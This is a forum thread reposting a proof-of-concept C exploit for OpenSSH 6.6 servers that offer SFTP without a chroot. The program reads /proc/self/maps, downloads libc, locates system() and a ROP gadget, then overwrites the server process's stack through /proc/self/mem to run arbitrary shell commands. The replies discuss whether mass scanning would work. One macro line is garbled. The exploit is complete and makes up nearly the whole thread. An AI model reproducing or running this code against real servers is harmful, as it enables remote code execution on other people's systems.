OpenSSH 6.6 SFTP Misconfiguration Proof Of Concept

[florinul]

OpenSSH lets you grant SFTP access to users without allowing full command

execution using "ForceCommand internal-sftp". However, if you misconfigure

the server and don't use ChrootDirectory, the user will be able to access

all parts of the filesystem that he has access to - including procfs. On

modern Linux kernels (>=2.6.39, I think), /proc/self/maps reveals the

memory layout and /proc/self/mem lets you write to arbitrary memory

positions. Combine those and you get easy RCE.

The linux version of OpenSSH 6.7 contains a mitigation, see the release notes:

* sftp-server(8): On platforms that support it, use prctl() to

prevent sftp-server from accessing /proc/self/{mem,maps}

Here's my PoC for 64bit Linux:

#define _GNU_SOURCE

// THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT

// TRY TO ATTACK BACK, THE CODE IS SLOPPY!

// (In other words, please don't use this against other people's machines.)

#include <libssh/libssh.h>

#include <libssh/sftp.h>

#include <stdlib.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <string.h>

#include <errno.h>

#define min(a, (((a)<()?(a))

sftp_session sftp;

size_t grab_file(char *rpath, char **out) {

size_t allocated = 4000, used = 0;

*out = calloc(1, allocated+1);

sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);

if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);

while (1) {

ssize_t nbytes = sftp_read(f, *out+used, allocated-used);

if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);

if (nbytes == 0) {

(*out)[used] = '\0';

sftp_close(f);

return used;

}

used += nbytes;

if (used == allocated) {

allocated *= 4;

*out = realloc(*out, allocated);

}

}

}

void dump_file(char *name, void *buf, size_t len) {

FILE *f = fopen(name, "w+");

if (!f) perror("can't write to local file"), exit(1);

if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);

if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);

}

size_t slurp_file(char *path, char **out) {

size_t allocated = 4000, used = 0;

*out = calloc(1, allocated+1);

FILE *f = fopen(path, "r");

if (f == NULL) perror("opening local file failed"), exit(1);

while (1) {

ssize_t nbytes = fread(*out+used, 1, allocated-used, f);

if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);

if (nbytes == 0) {

(*out)[used] = '\0';

if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);

return used;

}

used += nbytes;

if (used == allocated) {

allocated *= 4;

*out = realloc(*out, allocated);

}

}

}

int main(int argc, char **argv) {

if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);

char *target_host = argv[1];

char *target_user = argv[2];

char *shell_commands = argv[3];

ssh_session my_ssh_session;

int rc;

char *password;

// Open session and set options

my_ssh_session = ssh_new();

if (my_ssh_session == NULL) exit(-1);

ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);

ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);

// Connect to server

rc = ssh_connect(my_ssh_session);

if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);

// Authenticate ourselves

password = getpass("Password: ");

rc = ssh_userauth_password(my_ssh_session, NULL, password);

if (rc != SSH_AUTH_SUCCESS)

fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);

sftp = sftp_new(my_ssh_session);

if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);

rc = sftp_init(sftp);

if (rc != SSH_OK) {

fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));

sftp_free(sftp);

return rc;

}

char *mappings;

grab_file("/proc/self/maps", &mappings);

//printf("/proc/self/maps dump: \n%s\n\n\n", mappings);

printf("got /proc/self/maps. looking for libc...\n");

// 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so

long long start_addr, end_addr, offset;

char *libc_path = NULL;

long long stack_start_addr = 0, stack_end_addr;

for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {

if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {

if (libc_path) fprintf(stderr, "warning: two times libc?\n");

printf("mapping line: %s\n", p);

if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);

libc_path = strdup(strchr(p, '/'));

if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);

}

if (strstr(p, "[stack]")) {

if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);

printf("mapping line: %s\n", p);

if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);

}

}

if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);

if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);

printf("remote libc is at %s\n", libc_path);

printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);

char *libc;

size_t libc_size = grab_file(libc_path, &libc);

dump_file("libc.so", libc, libc_size);

printf("downloaded libc, size is %zu bytes\n", libc_size);

system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");

char *system_offset_str;

slurp_file("system.addr", &system_offset_str);

long long system_offset;

if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);

long long remote_system_addr = start_addr+system_offset-offset;

printf("remote system() function is at %Lx\n", remote_system_addr);

printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");

char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);

if (gadget == NULL) fprintf(stderr, "no gadget found \n"), exit(1);

long long gadget_address = start_addr + (gadget-(libc+offset));

long long ret_address = gadget_address+1;

printf("found gadget at %Lx\n", gadget_address);

printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);

printf("doing it the quick-and-dirty way (that means: pray that the target"

"program was compiled with gcc, giving us 16-byte stack alignment)...\n");

long long stack_len = stack_end_addr - stack_start_addr;

/*if (stack_len > 32000) {

stack_len = 32000;

stack_start_addr = stack_end_addr - stack_len;

}*/

char *new_stack = malloc(stack_len);

// first fill it with our ret slide

for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {

*s = ret_address;

}

// put some shell commands in the head

strcpy(new_stack, shell_commands);

// put the mini-ROP-chain at the end

// [address of pop rdi] [stack head] [address of system]

long long *se = (void*)(new_stack + stack_len);

se[-3] = gadget_address;

se[-2] = stack_start_addr;

se[-1] = remote_system_addr;

printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");

sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);

if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);

// first send over the string

rc = sftp_seek64(mem, stack_start_addr);

if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);

ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);

if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");

// now send over the rest right-to-left

for (long long off = stack_len-32000; off >= 0; off -= 32000) {

rc = sftp_seek64(mem, stack_start_addr+off);

if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);

mem_written = sftp_write(mem, new_stack+off, 32000);

if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good \n"), exit(0);

}

return 0;

}

source : OpenSSH 6.6 SFTP Misconfiguration Proof Of Concept ? Packet Storm

Edited October 10, 2014 by Nytro

[Ganav]

Foloseste etichetele de code.

[Nytro]

Da, interesanta ideea.

Nu va chinuiti sa scanati in masa, aveti nevoie de user si pass, trebuie sa va autentificati.

[florinul]

Nytro era prea frumos sa fie fara user si pass